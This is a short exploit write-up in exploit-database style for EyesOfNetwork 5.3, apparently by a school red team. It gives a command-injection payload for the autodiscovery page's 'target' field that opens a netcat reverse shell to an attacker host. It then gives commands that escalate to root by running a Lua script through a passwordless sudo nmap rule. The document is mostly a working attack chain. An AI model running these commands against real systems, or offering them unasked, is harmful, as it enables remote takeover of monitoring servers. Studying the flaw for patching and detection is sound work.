EyesOfNetwork 5.3 Remote Code Execution / Privilege Escalation

`# Exploit Title: EyesOfNetwork 5.3 - RCE & PrivEsc  
# Date: 10/01/2021  
# Exploit Author: Audencia Business SCHOOL Red Team  
# Vendor Homepage: https://www.eyesofnetwork.com/en  
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso  
# Version: 5.3  
  
#Authentified Romote Code Execution flaw > remote shell > PrivEsc  
#  
#An user with acces to "/autodiscover.php" can execute remote commande, get a reverse shell and root the targeted machine.  
  
==============================================  
Initial RCE  
  
In the webpage : https://EyesOfNetwork_IP/lilac/autodiscovery.php  
  
The "target" input is not controled. It's possible tu put any commands after an "&", RCE is possible with a simple netcat commande like :   
  
& nc -e /bin/sh <IP> <PORT>  
==============================================  
PrivEsc  
  
The EyesOfNetwork apache user can run "nmap" with sudo privilege and with NOPASSWD attribut, so it's possible to become the root user when using classic PrivEsc methode :  
  
echo 'os.execute("/bin/sh")' > /tmp/nmap.script  
sudo nmap --script=/tmp/nmap.script  
  
`